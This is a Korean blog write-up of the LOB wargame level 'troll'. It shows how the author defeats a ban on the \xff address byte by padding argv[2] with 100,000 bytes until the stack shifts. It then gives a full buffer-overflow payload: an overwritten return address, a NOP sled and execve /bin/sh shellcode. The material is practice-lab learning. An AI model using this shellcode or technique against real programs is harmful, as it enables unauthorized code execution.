본문 바로가기
wargame/LOB

[포너블] LOB 9 - troll

by 아메리카노와떡볶이 2021. 10. 3.
728x90
LOB 9 - troll write up

코드가 좀 간결해진걸로 봐서 뭔가 제약이 풀린 것 같다. 확인해보니 환경변수와 버퍼 초기화 부분이 사라졌다.

그 대신 here is changed 의 코드를 살펴보면 47번째 바이트에 \xff 를 사용할수 없게 되어있다.

 

즉 다시 말해서 argv[1]의 48번째와 47번째는 \xbf\xff 로 시작하는 스택주소를 줘서 지금까지 풀었는데 ff를 사용하지말라는 말은, 저기 영역대를 사용하지 말라는 것이다. 

 

그니까 이번 문제가 거는 유일한 제약은 bfffxxxx 로 시작하는 주소 영역대를 사용하지말라는 것인데, 그럼 이전에 사용했던 argv[2]에 쉘을 올리고, 놉(또는 dummy 문자)을 엄청 많이 깔면 주소영역대가 변하지않을까? 라는 아이디어가 들었다.

 

argv[2]에 문자를 몇개주어야 스택주소의 영역대가 바뀌는지 1000개부터 늘려보았다.

[troll@localhost tmp]$ ./vamp `python -c 'print "A"*47+"\xbf"'` `python -c 'print "B"*1000'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA¿
[0xbffff868]
Segmentation fault (core dumped)

 

아직 bfff 주소영역이다 10000개로 늘려보자

[troll@localhost tmp]$ ./vamp `python -c 'print "A"*47+"\xbf"'` `python -c 'print "B"*10000'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA¿
[0xbfffd540]
Segmentation fault (core dumped)

아직도 bfff 주소영역대이다 이번엔 10만개를 넣어보자

[troll@localhost tmp]$ ./vamp `python -c 'print "A"*47+"\xbf"'` `python -c 'print "B"*100000'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA¿
[0xbffe75b0]
Segmentation fault (core dumped)

드디어 bffe의 주소대가 나왔다

따라서 리턴주소에 bffe75b0을 주고 argv[2]에 앞에 10만개 놉을 깔고 쉘코드를 넣으면 공격이 가능할것 같다

 

이전 문제에서 사용한 페이로드를 가져와서 살짝만 수정해주자.

argv[1] : `python -c 'print "A" * 44 + "\xb0\x75\xfe\xbf" '`
argv[2] : `python -c 'print "\x90" * 100000 + "\x90"*500+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" '`

payload : ./vampire `python -c 'print "A" * 44 + "\xb0\x75\xfe\xbf" '` `python -c 'print "\x90" * 100000+ "\x90"*500+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" '`

 

이 문제는 처음 제약조건만 보고 풀이에 사용되는 핵심 아이디어를 바로 떠올린게 맞아서 기분이 좋다

728x90

'wargame > LOB' 카테고리의 다른 글

[포너블] LOB 10 - vampire  (0) 2021.10.03
[포너블] LOB 8 - orge  (0) 2021.10.03
[포너블] LOB 7 - darkelf  (0) 2021.10.03
[포너블] LOB 6 - wolfman  (0) 2021.09.30
[포너블] LOB 5 - orc  (0) 2021.09.30

댓글